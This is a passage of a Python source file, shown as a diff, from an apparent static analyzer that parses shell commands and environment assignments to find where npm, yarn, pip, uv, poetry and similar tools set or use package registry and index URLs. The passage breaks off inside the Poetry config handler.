+from __future__ import annotations + +from dataclasses import dataclass +from typing import Final, cast + +from skillspector.dependency_source_types import ( + AssignmentSite, + CommandProducerReachability, + CommandResolutionKind, + CommandSite, + DependencyEcosystem, + DependencySourceOperation, + DependencySourceScope, + DependencySourceSurface, + DependencyWorkBudget, + ShellIssue, + ShellIssueReason, + ShellTruncationClaimStatus, + ShellWorkOutcome, + SourceSpan, + StaticValue, + StaticValueState, +) + + +@dataclass(frozen=True, slots=True) +class DependencyCommandCandidate: + """One policy-free recognized dependency-source command sink.""" + + ecosystem: DependencyEcosystem + surface: DependencySourceSurface + operation: DependencySourceOperation + scope: DependencySourceScope + destination: StaticValue + span: SourceSpan + + def __post_init__(self) -> None: + if not isinstance(self.ecosystem, DependencyEcosystem): + raise ValueError("ecosystem must be code-owned") + if not isinstance(self.surface, DependencySourceSurface): + raise ValueError("surface must be code-owned") + if not isinstance(self.operation, DependencySourceOperation): + raise ValueError("operation must be code-owned") + if not isinstance(self.scope, DependencySourceScope): + raise ValueError("scope must be code-owned") + if not isinstance(self.destination, StaticValue): + raise ValueError("destination must be a StaticValue") + if not isinstance(self.span, SourceSpan): + raise ValueError("span must be a SourceSpan") + + +@dataclass(frozen=True, slots=True) +class MavenSettingsReference: + """One typed Maven settings-file operand for bundle-local resolution.""" + + path: StaticValue + span: SourceSpan + + def __post_init__(self) -> None: + if not isinstance(self.path, StaticValue): + raise ValueError("path must be a StaticValue") + if not isinstance(self.span, SourceSpan): + raise ValueError("span must be a SourceSpan") + + +@dataclass(frozen=True, slots=True) +class AdapterResult: + """Bounded typed adapter output with no finding or ledger reservation.""" + + candidates: tuple[DependencyCommandCandidate, ...] = () + issues: tuple[ShellIssue, ...] = () + maven_settings: tuple[MavenSettingsReference, ...] = () + + def __post_init__(self) -> None: + normalized = ( + ("candidates", self.candidates, DependencyCommandCandidate), + ("issues", self.issues, ShellIssue), + ("maven_settings", self.maven_settings, MavenSettingsReference), + ) + for name, values, value_type in normalized: + items = tuple(values) + if not all(isinstance(value, value_type) for value in items): + raise ValueError(f"{name} contains an invalid value") + object.__setattr__(self, name, items) + + +@dataclass(frozen=True, slots=True) +class _Token: + value: StaticValue + span: SourceSpan + + +@dataclass(frozen=True, slots=True) +class _NormalizedCommand: + manager: bytes | None + tokens: tuple[_Token, ...] + environment: tuple[AssignmentSite, ...] + issue_span: SourceSpan | None = None + inert: bool = False + + +_MANAGERS: Final = frozenset({b"npm", b"yarn", b"pnpm", b"pip", b"poetry", b"cargo", b"uv", b"mvn"}) +_UV_NAMED_INDEX_ENVIRONMENTS: Final = frozenset( + {"UV_INDEX", "UV_EXTRA_INDEX_URL", "uv_index", "uv_extra_index_url"} +) +_WRAPPERS: Final = frozenset( + { + b"env", + b"sudo", + b"command", + b"exec", + b"nohup", + b"nice", + b"timeout", + b"setsid", + b"stdbuf", + b"corepack", + b"npx", + b"xargs", + } +) + + +def _exact(token: _Token) -> bytes | None: + return ( + cast(bytes, token.value.exact_bytes) + if token.value.state is StaticValueState.EXACT + else None + ) + + +def _versioned(name: bytes, stem: bytes) -> bool: + if not name.startswith(stem): + return False + suffix = name[len(stem) :] + return ( + bool(suffix) + and suffix[:1].isdigit() + and all(byte == ord(".") or ord("0") <= byte <= ord("9") for byte in suffix) + ) + + +def _executable(value: bytes) -> bytes | None: + basename = value.rsplit(b"/", 1)[-1] + if basename in {*_MANAGERS, *_WRAPPERS}: + return basename + if _versioned(basename, b"pip"): + return b"pip" + if basename in {b"mvnw", b"mvnw.cmd"}: + return b"mvn" + return None + + +def _python_executable(value: bytes) -> bool: + basename = value.rsplit(b"/", 1)[-1] + return basename == b"python" or _versioned(basename, b"python") + + +def _assignment_token(token: _Token, site: CommandSite) -> AssignmentSite | None: + raw = _exact(token) + if raw is None or b"=" not in raw: + return None + name_bytes, value = raw.split(b"=", 1) + try: + name = name_bytes.decode("ascii") + except UnicodeDecodeError: + return None + if ( + not name + or not (name[0].isalpha() or name[0] == "_") + or any(not (character.isalnum() or character == "_") for character in name[1:]) + ): + return None + return AssignmentSite( + site.unit_id, + site.provenance, + token.span, + name, + StaticValue.exact(value), + ) + + +def _unknown_result_span(site: CommandSite, span: SourceSpan) -> _NormalizedCommand: + return _NormalizedCommand(None, (), (), issue_span=span) + + +def _take_operand(tokens: tuple[_Token, ...], cursor: int) -> tuple[int, SourceSpan | None]: + if cursor + 1 >= len(tokens): + return cursor, tokens[cursor].span + return cursor + 2, None + + +def _normalize_command(site: CommandSite) -> _NormalizedCommand: + tokens = tuple( + _Token(value, span) for value, span in zip(site.argv, site.argument_spans, strict=True) + ) + environment = list(site.prefix_assignments) + cursor = 0 + while cursor < len(tokens): + raw = _exact(tokens[cursor]) + if raw is None: + return _unknown_result_span(site, tokens[cursor].span) + executable = _executable(raw) + if executable in _MANAGERS: + manager_tokens = tokens[cursor:] + if executable == b"pip" and raw.rsplit(b"/", 1)[-1] != b"pip": + manager_tokens = ( + _Token(StaticValue.exact(b"pip"), tokens[cursor].span), + *manager_tokens[1:], + ) + return _NormalizedCommand(executable, manager_tokens, tuple(environment)) + if _python_executable(raw): + if ( + cursor + 2 < len(tokens) + and _exact(tokens[cursor + 1]) == b"-m" + and (_pip_name := _exact(tokens[cursor + 2])) is not None + and _executable(_pip_name) == b"pip" + ): + return _NormalizedCommand( + b"pip", + ( + _Token(StaticValue.exact(b"pip"), tokens[cursor + 2].span), + *tokens[cursor + 3 :], + ), + tuple(environment), + ) + return _NormalizedCommand(None, (), ()) + if executable is None: + return _NormalizedCommand(None, (), ()) + if executable == b"xargs": + return _unknown_result_span(site, tokens[cursor].span) + + cursor += 1 + if executable == b"env": + while cursor < len(tokens): + option = _exact(tokens[cursor]) + if option is None: + return _unknown_result_span(site, tokens[cursor].span) + if option == b"--": + cursor += 1 + while cursor < len(tokens): + assignment = _assignment_token(tokens[cursor], site) + if assignment is None: + break + environment = [item for item in environment if item.name != assignment.name] + environment.append(assignment) + cursor += 1 + break + assignment = _assignment_token(tokens[cursor], site) + if assignment is not None: + environment = [item for item in environment if item.name != assignment.name] + environment.append(assignment) + cursor += 1 + continue + if option in {b"-i", b"--ignore-environment"}: + environment.clear() + cursor += 1 + continue + if option in {b"-u", b"--unset", b"-C", b"--chdir"}: + next_cursor, error = _take_operand(tokens, cursor) + if error is not None: + return _unknown_result_span(site, error) + if option in {b"-u", b"--unset"}: + name = _exact(tokens[cursor + 1]) + if name is None: + return _unknown_result_span(site, tokens[cursor + 1].span) + environment = [item for item in environment if item.name.encode() != name] + cursor = next_cursor + continue + if option.startswith(b"--unset="): + name = option.partition(b"=")[2] + if not name: + return _unknown_result_span(site, tokens[cursor].span) + environment = [item for item in environment if item.name.encode() != name] + cursor += 1 + continue + if option.startswith(b"--chdir="): + if not option.partition(b"=")[2]: + return _unknown_result_span(site, tokens[cursor].span) + cursor += 1 + continue + if option.startswith(b"-"): + return _unknown_result_span(site, tokens[cursor].span) + break + continue + + if executable == b"sudo": + inherited = list(environment) + environment = [] + preserve_all = False + preserve_names: set[str] | None = None + while cursor < len(tokens): + option = _exact(tokens[cursor]) + if option is None: + return _unknown_result_span(site, tokens[cursor].span) + if option == b"--": + cursor += 1 + break + assignment = _assignment_token(tokens[cursor], site) + if assignment is not None: + environment = [item for item in environment if item.name != assignment.name] + environment.append(assignment) + cursor += 1 + continue + if option in {b"-E", b"--preserve-env"}: + preserve_all = True + cursor += 1 + continue + if option.startswith(b"--preserve-env="): + preserve_names = { + name + for name in option.partition(b"=")[2].decode("ascii", "ignore").split(",") + if name + } + cursor += 1 + continue + if option in {b"-k", b"-i", b"--login", b"-n", b"-S", b"-H", b"-b"}: + cursor += 1 + continue + if option in { + b"-u", + b"--user", + b"-g", + b"--group", + b"-h", + b"--host", + b"-p", + b"--prompt", + b"-C", + b"--close-from", + b"-R", + b"--chroot", + b"-T", + b"--command-timeout", + }: + next_cursor, error = _take_operand(tokens, cursor) + if error is not None: + return _unknown_result_span(site, error) + cursor = next_cursor + continue + if any( + option.startswith(prefix) + for prefix in ( + b"--user=", + b"--group=", + b"--host=", + b"--prompt=", + b"--close-from=", + b"--chroot=", + b"--command-timeout=", + ) + ): + if not option.partition(b"=")[2]: + return _unknown_result_span(site, tokens[cursor].span) + cursor += 1 + continue + if option.startswith(b"-"): + return _unknown_result_span(site, tokens[cursor].span) + break + if preserve_all: + preserved = inherited + elif preserve_names is not None: + preserved = [item for item in inherited if item.name in preserve_names] + else: + preserved = [] + explicit_names = {item.name for item in environment} + environment = [ + *[item for item in preserved if item.name not in explicit_names], + *environment, + ] + continue + + if executable == b"command": + while cursor < len(tokens): + option = _exact(tokens[cursor]) + if option == b"--": + cursor += 1 + break + if option == b"-p": + cursor += 1 + continue + if option in {b"-v", b"-V"}: + return _NormalizedCommand(None, (), (), inert=True) + if option is None or option.startswith(b"-"): + return _unknown_result_span(site, tokens[cursor].span) + break + continue + + if executable == b"exec": + while cursor < len(tokens): + option = _exact(tokens[cursor]) + if option == b"--": + cursor += 1 + break + if option == b"-a": + next_cursor, error = _take_operand(tokens, cursor) + if error is not None: + return _unknown_result_span(site, error) + cursor = next_cursor + continue + if option == b"-c": + environment.clear() + cursor += 1 + continue + if option == b"-l": + cursor += 1 + continue + if option is None or option.startswith(b"-"): + return _unknown_result_span(site, tokens[cursor].span) + break + continue + + if executable == b"nohup": + if cursor < len(tokens) and _exact(tokens[cursor]) == b"--": + cursor += 1 + elif cursor < len(tokens) and (_exact(tokens[cursor]) or b"").startswith(b"-"): + if _exact(tokens[cursor]) in {b"--help", b"--version"}: + return _NormalizedCommand(None, (), (), inert=True) + return _unknown_result_span(site, tokens[cursor].span) + continue + + if executable == b"nice": + while cursor < len(tokens): + option = _exact(tokens[cursor]) + if option == b"--": + cursor += 1 + break + if option in {b"-n", b"--adjustment"}: + next_cursor, error = _take_operand(tokens, cursor) + if error is not None: + return _unknown_result_span(site, error) + cursor = next_cursor + continue + if option is not None and ( + option.startswith(b"--adjustment=") + or (option.startswith(b"-") and option[1:].isdigit()) + ): + if option == b"--adjustment=": + return _unknown_result_span(site, tokens[cursor].span) + cursor += 1 + continue + if option in {b"--help", b"--version"}: + return _NormalizedCommand(None, (), (), inert=True) + if option is None or option.startswith(b"-"): + return _unknown_result_span(site, tokens[cursor].span) + break + continue + + if executable == b"timeout": + while cursor < len(tokens): + option = _exact(tokens[cursor]) + if option == b"--": + cursor += 1 + break + if option in {b"-k", b"--kill-after", b"-s", b"--signal"}: + next_cursor, error = _take_operand(tokens, cursor) + if error is not None: + return _unknown_result_span(site, error) + cursor = next_cursor + continue + if option is not None and option.startswith((b"--kill-after=", b"--signal=")): + if option in {b"--kill-after=", b"--signal="}: + return _unknown_result_span(site, tokens[cursor].span) + cursor += 1 + continue + if option in {b"--foreground", b"--preserve-status", b"--verbose"}: + cursor += 1 + continue + if option in {b"--help", b"--version"}: + return _NormalizedCommand(None, (), (), inert=True) + if option is None or option.startswith(b"-"): + return _unknown_result_span(site, tokens[cursor].span) + break + if cursor >= len(tokens): + return _unknown_result_span(site, tokens[-1].span) + cursor += 1 + continue + + if executable == b"setsid": + while cursor < len(tokens): + option = _exact(tokens[cursor]) + if option == b"--": + cursor += 1 + break + if option in {b"-c", b"--ctty", b"-f", b"--fork", b"-w", b"--wait"}: + cursor += 1 + continue + if option in {b"--help", b"--version"}: + return _NormalizedCommand(None, (), (), inert=True) + if option is None or option.startswith(b"-"): + return _unknown_result_span(site, tokens[cursor].span) + break + continue + + if executable == b"stdbuf": + while cursor < len(tokens): + option = _exact(tokens[cursor]) + if option == b"--": + cursor += 1 + break + if option in {b"-i", b"-o", b"-e", b"--input", b"--output", b"--error"}: + next_cursor, error = _take_operand(tokens, cursor) + if error is not None: + return _unknown_result_span(site, error) + cursor = next_cursor + continue + if option is not None and ( + option.startswith((b"--input=", b"--output=", b"--error=")) + or (len(option) > 2 and option[:2] in {b"-i", b"-o", b"-e"}) + ): + if option in {b"--input=", b"--output=", b"--error="}: + return _unknown_result_span(site, tokens[cursor].span) + cursor += 1 + continue + if option in {b"--help", b"--version"}: + return _NormalizedCommand(None, (), (), inert=True) + if option is None or option.startswith(b"-"): + return _unknown_result_span(site, tokens[cursor].span) + break + continue + + if executable in {b"corepack", b"npx"}: + while cursor < len(tokens): + option = _exact(tokens[cursor]) + if option == b"--": + cursor += 1 + break + if executable == b"npx" and option in { + b"-y", + b"--yes", + b"--no", + b"--ignore-existing", + }: + cursor += 1 + continue + if executable == b"npx" and option in { + b"-p", + b"--package", + b"--cache", + b"--userconfig", + }: + next_cursor, error = _take_operand(tokens, cursor) + if error is not None: + return _unknown_result_span(site, error) + cursor = next_cursor + continue + if ( + executable == b"npx" + and option is not None + and option.startswith((b"--package=", b"--cache=", b"--userconfig=")) + ): + if option in {b"--package=", b"--cache=", b"--userconfig="}: + return _unknown_result_span(site, tokens[cursor].span) + cursor += 1 + continue + if option is None or option.startswith(b"-"): + return _unknown_result_span(site, tokens[cursor].span) + break + if cursor >= len(tokens): + return _unknown_result_span(site, tokens[-1].span) + downstream = _exact(tokens[cursor]) + if downstream is None or _executable(downstream) not in {b"npm", b"yarn", b"pnpm"}: + return _unknown_result_span(site, tokens[cursor].span) + continue + + return _NormalizedCommand(None, (), ()) + + +def _candidate( + ecosystem: DependencyEcosystem, + surface: DependencySourceSurface, + operation: DependencySourceOperation, + scope: DependencySourceScope, + token: _Token, +) -> DependencyCommandCandidate: + return DependencyCommandCandidate(ecosystem, surface, operation, scope, token.value, token.span) + + +def _issue( + site: CommandSite, + span: SourceSpan, + budget: DependencyWorkBudget, +) -> ShellIssue | None: + exhaustion = budget.charge_shell_issues(1) + if exhaustion is None: + return ShellIssue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + ShellWorkOutcome.PARTIAL, + span, + unit_id=site.unit_id, + ) + if budget.claim_reserved_shell_truncation_issue() is not ShellTruncationClaimStatus.CLAIMED: + return None + return ShellIssue( + ShellIssueReason.RESOURCE_LIMIT, + ShellWorkOutcome.PARTIAL, + span, + unit_id=site.unit_id, + exhaustion=exhaustion, + ) + + +def _issues(issue: ShellIssue | None) -> tuple[ShellIssue, ...]: + return () if issue is None else (issue,) + + +def _environment_ecosystem(name: str) -> DependencyEcosystem | None: + if name in {"NPM_CONFIG_REGISTRY", "npm_config_registry"}: + return DependencyEcosystem.NPM + if name in {"YARN_NPM_REGISTRY_SERVER", "yarn_npm_registry_server"}: + return DependencyEcosystem.YARN + if name in {"PNPM_CONFIG_REGISTRY", "pnpm_config_registry"}: + return DependencyEcosystem.PNPM + if name in {"PIP_INDEX_URL", "PIP_EXTRA_INDEX_URL", "pip_index_url", "pip_extra_index_url"}: + return DependencyEcosystem.PIP + if name in { + "UV_INDEX", + "UV_INDEX_URL", + "UV_DEFAULT_INDEX", + "UV_EXTRA_INDEX_URL", + "uv_index", + "uv_index_url", + "uv_default_index", + "uv_extra_index_url", + }: + return DependencyEcosystem.UV + if name.startswith("CARGO_REGISTRIES_") and name.endswith("_INDEX"): + return DependencyEcosystem.CARGO + if name.startswith("POETRY_REPOSITORIES_") and name.endswith("_URL"): + return DependencyEcosystem.POETRY + return None + + +def _environment_candidates( + assignments: tuple[AssignmentSite, ...], + *, + manager: DependencyEcosystem | None, +) -> tuple[list[DependencyCommandCandidate], SourceSpan | None]: + candidates: list[DependencyCommandCandidate] = [] + for assignment in assignments: + ecosystem = _environment_ecosystem(assignment.name) + if ecosystem is None or (manager is not None and ecosystem is not manager): + continue + destination = assignment.value + if assignment.name in _UV_NAMED_INDEX_ENVIRONMENTS: + normalized = _uv_index_environment_destination(assignment.value) + if normalized is None: + return [], assignment.span + destination = normalized + candidates.append( + DependencyCommandCandidate( + ecosystem, + DependencySourceSurface.ENVIRONMENT, + DependencySourceOperation.SET, + DependencySourceScope.ENVIRONMENT, + destination, + assignment.span, + ) + ) + return candidates, None + + +def _option_value( + tokens: tuple[_Token, ...], index: int, names: tuple[bytes, ...] +) -> tuple[_Token | None, int]: + raw = _exact(tokens[index]) + if raw is None: + return None, index + 1 + for name in names: + if raw == name: + return (tokens[index + 1], index + 2) if index + 1 < len(tokens) else (None, index + 1) + prefix = name + b"=" + if raw.startswith(prefix): + attached = raw[len(prefix) :] + return ( + _Token(StaticValue.exact(attached), tokens[index].span) if attached else None, + index + 1, + ) + return None, index + + +def _uv_index_destination(value: _Token) -> _Token: + if value.value.state is not StaticValueState.EXACT: + return value + raw = cast(bytes, value.value.exact_bytes) + name, separator, destination = raw.partition(b"=") + if ( + not separator + or not name + or not destination + or any( + character not in b"-_." + and not 48 <= character <= 57 + and not 65 <= character <= 90 + and not 97 <= character <= 122 + for character in name + ) + ): + return value + return _Token(StaticValue.exact(destination), value.span) + + +def _uv_index_environment_destination(value: StaticValue) -> StaticValue | None: + if value.state is not StaticValueState.EXACT: + return value + raw = cast(bytes, value.exact_bytes) + if not raw or any(character in b" \t\n\r\v\f" for character in raw): + return None + name, separator, destination = raw.partition(b"=") + if not separator or b"://" in name: + return value + if ( + not name + or not destination + or any( + character not in b"-_." + and not 48 <= character <= 57 + and not 65 <= character <= 90 + and not 97 <= character <= 122 + for character in name + ) + ): + return None + return StaticValue.exact(destination) + + +def _terminator_index(tokens: tuple[_Token, ...], start: int) -> int: + return next( + (index for index in range(start, len(tokens)) if _exact(tokens[index]) == b"--"), + len(tokens), + ) + + +def _unknown_option_beside_source( + tokens: tuple[_Token, ...], + *, + start: int, + source_options: frozenset[bytes], + no_operand_options: frozenset[bytes], + operand_options: frozenset[bytes], + attached_short_sources: tuple[bytes, ...] = (), + attached_short_operands: tuple[bytes, ...] = (), +) -> SourceSpan | None: + """Reject one unknown option only when a recognized sink shares its argv segment.""" + end = _terminator_index(tokens, start) + source_present = False + for token in tokens[start:end]: + raw = _exact(token) + if raw is None: + continue + if raw in source_options or any(raw.startswith(option + b"=") for option in source_options): + source_present = True + break + if any(raw.startswith(option) and raw != option for option in attached_short_sources): + source_present = True + break + if not source_present: + return None + cursor = start + while cursor < end: + raw = _exact(tokens[cursor]) + if raw is None or not raw.startswith(b"-") or raw == b"-": + cursor += 1 + continue + if raw in source_options or raw in operand_options: + if cursor + 1 >= end: + return tokens[cursor].span + cursor += 2 + continue + if raw in no_operand_options: + cursor += 1 + continue + if any(raw.startswith(option + b"=") for option in (*source_options, *operand_options)): + cursor += 1 + continue + if any( + raw.startswith(option) and raw != option + for option in (*attached_short_sources, *attached_short_operands) + ): + cursor += 1 + continue + return tokens[cursor].span + return None + + +def _npm_family( + tokens: tuple[_Token, ...], ecosystem: DependencyEcosystem +) -> tuple[list[DependencyCommandCandidate], SourceSpan | None]: + config_names = {b"config", b"c"} + scope = DependencySourceScope.GLOBAL + cursor = 1 + config_seen = False + action: bytes | None = None + operands: list[_Token] = [] + while cursor < len(tokens): + raw = _exact(tokens[cursor]) + if raw is None: + if action is not None: + operands.append(tokens[cursor]) + cursor += 1 + continue + return [], tokens[cursor].span + if raw == b"--": + operands.extend(tokens[cursor + 1 :]) + break + if raw in {b"-g", b"--global"}: + scope = DependencySourceScope.GLOBAL + cursor += 1 + continue + if raw.startswith(b"--location="): + location = raw.partition(b"=")[2] + scope = ( + DependencySourceScope.PROJECT + if location == b"project" + else DependencySourceScope.GLOBAL + ) + cursor += 1 + continue + if raw == b"--location": + if cursor + 1 >= len(tokens) or _exact(tokens[cursor + 1]) is None: + return [], tokens[cursor].span + location_operand = cast(bytes, _exact(tokens[cursor + 1])) + scope = ( + DependencySourceScope.PROJECT + if location_operand == b"project" + else DependencySourceScope.GLOBAL + ) + cursor += 2 + continue + if raw.startswith(b"-"): + if config_seen or action is not None: + return [], tokens[cursor].span + if raw in {b"--silent", b"--json", b"--workspaces", b"--include-workspace-root"}: + cursor += 1 + continue + if raw in {b"--userconfig", b"--prefix", b"--workspace", b"-w"}: + if cursor + 1 >= len(tokens): + return [], tokens[cursor].span + cursor += 2 + continue + if any( + raw.startswith(prefix) + for prefix in (b"--userconfig=", b"--prefix=", b"--workspace=") + ): + if not raw.partition(b"=")[2]: + return [], tokens[cursor].span + cursor += 1 + continue + return [], tokens[cursor].span + if not config_seen: + if raw in config_names: + config_seen = True + cursor += 1 + continue + break + if action is None: + if raw in {b"set", b"delete", b"del", b"rm", b"unset"}: + action = raw + cursor += 1 + continue + if raw in {b"get", b"list", b"ls", b"edit", b"fix", b"help"}: + return [], None + return [], tokens[cursor].span + operands.append(tokens[cursor]) + cursor += 1 + + candidates: list[DependencyCommandCandidate] = [] + if config_seen and action is not None: + remove = action in {b"delete", b"del", b"rm", b"unset"} + if remove: + if any(_exact(token) is None for token in operands): + return [], operands[0].span + return [], None + operand_index = 0 + while operand_index < len(operands): + key_token = operands[operand_index] + key = _exact(key_token) + if key is None: + return [], key_token.span + if b"=" in key: + key, destination = key.split(b"=", 1) + value = _Token(StaticValue.exact(destination), key_token.span) + operand_index += 1 + else: + if operand_index + 1 >= len(operands): + return [], key_token.span + value = operands[operand_index + 1] + operand_index += 2 + key_scope = ( + DependencySourceScope.SCOPED + if key.startswith(b"@") and key.endswith(b":registry") + else scope + ) + if key != b"registry" and key_scope is not DependencySourceScope.SCOPED: + continue + candidates.append( + _candidate( + ecosystem, + DependencySourceSurface.COMMAND, + DependencySourceOperation.SET, + key_scope, + value, + ) + ) + return candidates, None + + inert = {_exact(token) for token in tokens[1:2]} & { + b"view", + b"ping", + b"run", + b"publish", + b"help", + } + if inert: + return [], None + if issue_span := _unknown_option_beside_source( + tokens, + start=2, + source_options=frozenset({b"--registry"}), + no_operand_options=frozenset( + { + b"-g", + b"--global", + b"--dry-run", + b"--ignore-scripts", + b"--no-audit", + b"--no-fund", + b"--package-lock-only", + b"--legacy-peer-deps", + b"--force", + b"-f", + b"--silent", + b"--verbose", + } + ), + operand_options=frozenset( + { + b"--workspace", + b"-w", + b"--prefix", + b"--cache", + b"--userconfig", + b"--tag", + b"--omit", + b"--include", + b"--loglevel", + } + ), + ): + return [], issue_span + cursor = 1 + end = _terminator_index(tokens, cursor) + while cursor < end: + invocation_value, next_cursor = _option_value(tokens, cursor, (b"--registry",)) + if next_cursor != cursor: + if invocation_value is None: + return [], tokens[cursor].span + candidates.append( + _candidate( + ecosystem, + DependencySourceSurface.INVOCATION, + DependencySourceOperation.USE, + DependencySourceScope.INVOCATION, + invocation_value, + ) + ) + cursor = next_cursor + else: + cursor += 1 + return candidates, None + + +def _yarn(tokens: tuple[_Token, ...]) -> tuple[list[DependencyCommandCandidate], SourceSpan | None]: + cursor = 1 + if cursor >= len(tokens) or _exact(tokens[cursor]) != b"config": + if cursor < len(tokens) and _exact(tokens[cursor]) in { + b"why", + b"publish", + b"run", + b"help", + }: + return [], None + return _npm_family(tokens, DependencyEcosystem.YARN) + cursor += 1 + action: bytes | None = None + scope = DependencySourceScope.GLOBAL + operands: list[_Token] = [] + while cursor < len(tokens): + raw = _exact(tokens[cursor]) + if raw is None: + if action is not None: + operands.append(tokens[cursor]) + cursor += 1 + continue + return [], tokens[cursor].span + if raw == b"--": + operands.extend(tokens[cursor + 1 :]) + break + if raw in {b"-H", b"--home"}: + scope = DependencySourceScope.GLOBAL + cursor += 1 + continue + if raw in {b"--json", b"--no-defaults"}: + cursor += 1 + continue + if raw.startswith(b"-"): + return [], tokens[cursor].span + if action is None: + if raw not in {b"set", b"unset", b"delete"}: + if raw in {b"get", b"list", b"help"}: + return [], None + return [], tokens[cursor].span + action = raw + else: + operands.append(tokens[cursor]) + cursor += 1 + if action is None or not operands: + return [], None + key = _exact(operands[0]) + key_scope = ( + DependencySourceScope.SCOPED + if key is not None and key.startswith(b"npmScopes.") and key.endswith(b".npmRegistryServer") + else scope + ) + if ( + key not in {b"registry", b"npmRegistryServer"} + and key_scope is not DependencySourceScope.SCOPED + ): + return [], None + if action == b"set": + if len(operands) != 2: + return [], operands[-1].span + value = operands[1] + else: + if len(operands) != 1: + return [], operands[-1].span + return [], None + return [ + _candidate( + DependencyEcosystem.YARN, + DependencySourceSurface.COMMAND, + DependencySourceOperation.SET, + key_scope, + value, + ) + ], None + + +def _pip(tokens: tuple[_Token, ...]) -> tuple[list[DependencyCommandCandidate], SourceSpan | None]: + cursor = 1 + no_operand = { + b"--isolated", + b"--require-virtualenv", + b"--no-input", + b"--disable-pip-version-check", + } + with_operand = { + b"--python", + b"--proxy", + b"--timeout", + b"--retries", + b"--cert", + b"--client-cert", + b"--cache-dir", + b"--log", + } + while cursor < len(tokens) and (_exact(tokens[cursor]) or b"").startswith(b"-"): + raw = cast(bytes, _exact(tokens[cursor])) + if raw in no_operand: + cursor += 1 + elif raw in with_operand: + if cursor + 1 >= len(tokens): + return [], tokens[cursor].span + cursor += 2 + elif any(raw.startswith(option + b"=") for option in with_operand): + if not raw.partition(b"=")[2]: + return [], tokens[cursor].span + cursor += 1 + else: + return [], tokens[cursor].span + if cursor < len(tokens) and _exact(tokens[cursor]) == b"help": + return [], None + if cursor < len(tokens) and _exact(tokens[cursor]) == b"config": + cursor += 1 + scope_flag: DependencySourceScope | None = None + action: bytes | None = None + operands: list[_Token] = [] + while cursor < len(tokens): + config_raw = _exact(tokens[cursor]) + if config_raw is None: + if action is not None: + operands.append(tokens[cursor]) + cursor += 1 + continue + return [], tokens[cursor].span + if config_raw in {b"--global", b"--user", b"--site"}: + scope_flag = DependencySourceScope.GLOBAL + elif config_raw == b"--": + operands.extend(tokens[cursor + 1 :]) + break + elif config_raw.startswith(b"-"): + return [], tokens[cursor].span + elif action is None: + if config_raw not in {b"set", b"unset"}: + if config_raw in {b"get", b"list", b"debug"}: + return [], None + return [], tokens[cursor].span + action = config_raw + else: + operands.append(tokens[cursor]) + cursor += 1 + if action is None or not operands: + return [], None + key = _exact(operands[0]) + if key is None: + return [], operands[0].span + key_tail = key.rsplit(b".", 1)[-1] + if key_tail not in {b"index-url", b"extra-index-url"}: + return [], None + scope = scope_flag or ( + DependencySourceScope.GLOBAL + if key.startswith(b"global.") + else DependencySourceScope.COMMAND + ) + if action == b"set": + if len(operands) != 2: + return [], operands[-1].span + config_value = operands[1] + else: + if len(operands) != 1: + return [], operands[-1].span + return [], None + return [ + _candidate( + DependencyEcosystem.PIP, + DependencySourceSurface.COMMAND, + DependencySourceOperation.SET, + scope, + config_value, + ) + ], None + if issue_span := _unknown_option_beside_source( + tokens, + start=min(cursor + 1, len(tokens)), + source_options=frozenset({b"-i", b"--index-url", b"--index-u", b"--extra-index-url"}), + no_operand_options=frozenset( + { + b"-q", + b"--quiet", + b"-v", + b"--verbose", + b"-U", + b"--upgrade", + b"--pre", + b"--no-deps", + b"--no-cache-dir", + b"--require-hashes", + b"--ignore-installed", + b"--force-reinstall", + } + ), + operand_options=frozenset( + { + b"-r", + b"--requirement", + b"-c", + b"--constraint", + b"-f", + b"--find-links", + b"--trusted-host", + b"--timeout", + b"--retries", + b"--cert", + b"--client-cert", + b"--proxy", + } + ), + attached_short_sources=(b"-i",), + attached_short_operands=(b"-r", b"-c", b"-f"), + ): + return [], issue_span + candidates: list[DependencyCommandCandidate] = [] + end = _terminator_index(tokens, cursor) + while cursor < end: + invocation_raw = _exact(tokens[cursor]) + if invocation_raw is None: + cursor += 1 + continue + invocation_value: _Token | None = None + next_cursor = cursor + if invocation_raw.startswith(b"-i") and invocation_raw != b"-i": + invocation_value = _Token(StaticValue.exact(invocation_raw[2:]), tokens[cursor].span) + next_cursor = cursor + 1 + else: + invocation_value, next_cursor = _option_value( + tokens, + cursor, + (b"-i", b"--index-url", b"--index-u", b"--extra-index-url"), + ) + if next_cursor != cursor: + if invocation_value is None: + return [], tokens[cursor].span + candidates.append( + _candidate( + DependencyEcosystem.PIP, + DependencySourceSurface.INVOCATION, + DependencySourceOperation.USE, + DependencySourceScope.INVOCATION, + invocation_value, + ) + ) + cursor = next_cursor + else: + cursor += 1 + return candidates, None + + +def _poetry( + tokens: tuple[_Token, ...], +) -> tuple[list[DependencyCommandCandidate], SourceSpan | None]: + cursor = 1 + while cursor < len(tokens): + raw = _exact(tokens[cursor]) + if raw in {b"--help", b"--version", b"-h", b"-V"}: + return [], None + if raw in {b"-C", b"--directory", b"--project"}: + if cursor + 1 >= len(tokens): + return [], tokens[cursor].span + cursor += 2 + elif raw in { + b"-n", + b"--no-interaction", + b"--no-cache", + b"--ansi", + b"--no-ansi", + b"-q", + b"-v", + b"-vv", + b"-vvv", + }: + cursor += 1 + elif raw is not None and raw.startswith((b"--directory=", b"--project=")): + if not raw.partition(b"=")[2]: + return [], tokens[cursor].span + cursor += 1 + elif raw is not None and raw.startswith(b"-"): + return [], tokens[cursor].span + else: + break + if cursor >= len(tokens): + return [], None + command = _exact(tokens[cursor]) + cursor += 1 + if command == b"source" and cursor < len(tokens): + action = _exact(tokens[cursor]) + cursor += 1 + if action not in {b"add", b"remove"}: + return [], None + source_operands: list[_Token] = [] + while cursor < len(tokens): + raw = _exact(tokens[cursor]) + if raw == b"--": + source_operands.extend(tokens[cursor + 1 :]) + break + if raw in {b"--priority"}: + if cursor + 1 >= len(tokens): + return [], tokens[cursor].span + cursor += 2 + elif raw in {b"--default", b"--secondary", b"-n", b"--no-interaction"}: + cursor += 1 + elif raw is not None and raw.startswith(b"--priority="): + cursor += 1 + elif raw is not None and raw.startswith(b"-"): + return [], tokens[cursor].span + else: + source_operands.append(tokens[cursor]) + cursor += 1 + if action == b"add" and len(source_operands) == 2: + return [ + _candidate( + DependencyEcosystem.POETRY, + DependencySourceSurface.COMMAND, + DependencySourceOperation.ADD, + DependencySourceScope.SOURCE, + source_operands[1], + ) + ], None + if action == b"remove" and len(source_operands) == 1: + return [], None + return ([], source_operands[-1].span) if source_operands else ([], tokens[cursor - 1].span) + if command == b"config": + local = False + unset = False + config_operands: list[_Token] = [] + while cursor < len(tokens): 